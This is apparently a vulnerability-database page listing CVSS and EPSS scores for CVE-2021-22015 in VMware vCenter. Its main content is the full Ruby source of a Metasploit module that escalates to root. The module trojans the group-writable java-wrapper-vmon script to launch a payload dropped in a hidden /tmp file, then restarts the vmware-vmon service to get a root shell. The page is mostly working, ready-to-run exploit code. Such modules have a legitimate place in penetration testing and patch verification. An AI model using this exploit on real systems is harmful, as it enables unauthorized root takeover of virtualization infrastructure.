7.8 High
CVSS3
Attack Vector
LOCAL
Attack Complexity
LOW
Privileges Required
LOW
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
8 High
AI Score
Confidence
High
7.2 High
CVSS2
Access Vector
LOCAL
Access Complexity
LOW
Authentication
NONE
Confidentiality Impact
COMPLETE
Integrity Impact
COMPLETE
Availability Impact
COMPLETE
AV:L/AC:L/Au:N/C:C/I:C/A:C
0.0004 Low
EPSS
Percentile
14.5%
This module exploits a privilege escalation in vSphere/vCenter due to improper permissions on the /usr/lib/vmware-vmon/java-wrapper-vmon file. It is possible for anyone in the cis group to write to the file, which will execute as root on vmware-vmon service restart or host reboot. This module was successfully tested against VMware VirtualCenter 6.5.0 build-7070488. The following versions should be vulnerable: vCenter 7.0 before U2c vCenter 6.7 before U3o vCenter 6.5 before U3q
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = ManualRanking
include Msf::Post::Linux::Priv
include Msf::Post::File
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'VMware vCenter vScalation Priv Esc',
'Description' => %q{
This module exploits a privilege escalation in vSphere/vCenter due to improper permissions on the
/usr/lib/vmware-vmon/java-wrapper-vmon file. It is possible for anyone in the
cis group to write to the file, which will execute as root on vmware-vmon service
restart or host reboot.
This module was successfully tested against VMware VirtualCenter 6.5.0 build-7070488.
The following versions should be vulnerable:
vCenter 7.0 before U2c
vCenter 6.7 before U3o
vCenter 6.5 before U3q
},
'License' => MSF_LICENSE,
'Author' => [
'h00die', # msf module
'Yuval Lazar' # original PoC, analysis
],
'Platform' => [ 'linux' ],
'Arch' => [ ARCH_X86, ARCH_X64 ],
'SessionTypes' => [ 'shell', 'meterpreter' ],
'Targets' => [[ 'Auto', {} ]],
'Privileged' => true,
'References' => [
[ 'URL', 'https://pentera.io/blog/vscalation-cve-2021-22015-local-privilege-escalation-in-vmware-vcenter-pentera-labs/' ],
[ 'CVE', '2021-22015' ],
[ 'URL', 'https://www.vmware.com/security/advisories/VMSA-2021-0020.html' ]
],
'DisclosureDate' => '2021-09-21',
'DefaultTarget' => 0,
'DefaultOptions' => {
'WfsDelay' => 1800 # 30min
},
'Notes' => {
'Stability' => [CRASH_SERVICE_DOWN],
'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT],
'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES, IOC_IN_LOGS],
'AKA' => ['vScalation']
}
)
)
register_advanced_options [
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
]
end
# Simplify pulling the writable directory variable
def base_dir
datastore['WritableDir'].to_s
end
def java_wrapper_vmon
'/usr/lib/vmware-vmon/java-wrapper-vmon'
end
def check
return CheckCode::Safe("#{java_wrapper_vmon} not found on system") unless file?(java_wrapper_vmon)
return CheckCode::Safe("#{java_wrapper_vmon} not writable") unless writable?(java_wrapper_vmon)
group_owner = cmd_exec("stat -c \"%G\" \"#{java_wrapper_vmon}\"")
if group_owner == 'cis'
return CheckCode::Appears("#{java_wrapper_vmon} is writable and owned by cis group")
end
CheckCode::Safe("#{java_wrapper_vmon} not owned by 'cis' group (owned by '#{group_owner}'), or not writable")
end
def exploit
if !datastore['ForceExploit'] && is_root?
fail_with(Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.')
end
# Make sure we can write our exploit and payload to the local system
unless writable? base_dir
fail_with Failure::BadConfig, "#{base_dir} is not writable"
end
# backup the original file
@backup = read_file(java_wrapper_vmon)
path = store_loot(
'java-wrapper-vmon.text',
'text/plain',
rhost,
@backup,
'java-wrapper-vmon.text'
)
print_good("Original #{java_wrapper_vmon} backed up to #{path}")
# Upload payload executable
payload_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}"
print_status("Writing payload to #{payload_path}")
upload_and_chmodx payload_path, generate_payload_exe
register_files_for_cleanup payload_path
# write trojaned file
# we want to write our payload towards the top to ensure it gets run
# writing it at the bottom of the file results in the payload not being run
print_status("Writing trojaned #{java_wrapper_vmon}")
write_file(java_wrapper_vmon, @backup.gsub('#!/bin/sh', "#!/bin/sh\n#{payload_path} &\n"))
# try to restart the service
print_status('Attempting to restart vmware-vmon service (systemctl restart vmware-vmon.service)')
service_restart = cmd_exec('systemctl restart vmware-vmon.service')
# one error i'm seeing when using vsphere-client is: Failed to restart vmware-vmon.service: The name org.freedesktop.PolicyKit1 was not provided by any .service files
if service_restart.downcase.include?('access denied') || service_restart.downcase.include?('failed')
print_bad('vmware-vmon service needs to be restarted, or host rebooted to obtain shell.')
end
print_status("Waiting #{datastore['WfsDelay']} seconds for shell")
end
def cleanup
unless @backup.nil?
print_status("Replacing trojaned #{java_wrapper_vmon} with original")
write_file(java_wrapper_vmon, @backup)
end
super
end
end
7.8 High
CVSS3
Attack Vector
LOCAL
Attack Complexity
LOW
Privileges Required
LOW
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
8 High
AI Score
Confidence
High
7.2 High
CVSS2
Access Vector
LOCAL
Access Complexity
LOW
Authentication
NONE
Confidentiality Impact
COMPLETE
Integrity Impact
COMPLETE
Availability Impact
COMPLETE
AV:L/AC:L/Au:N/C:C/I:C/A:C
0.0004 Low
EPSS
Percentile
14.5%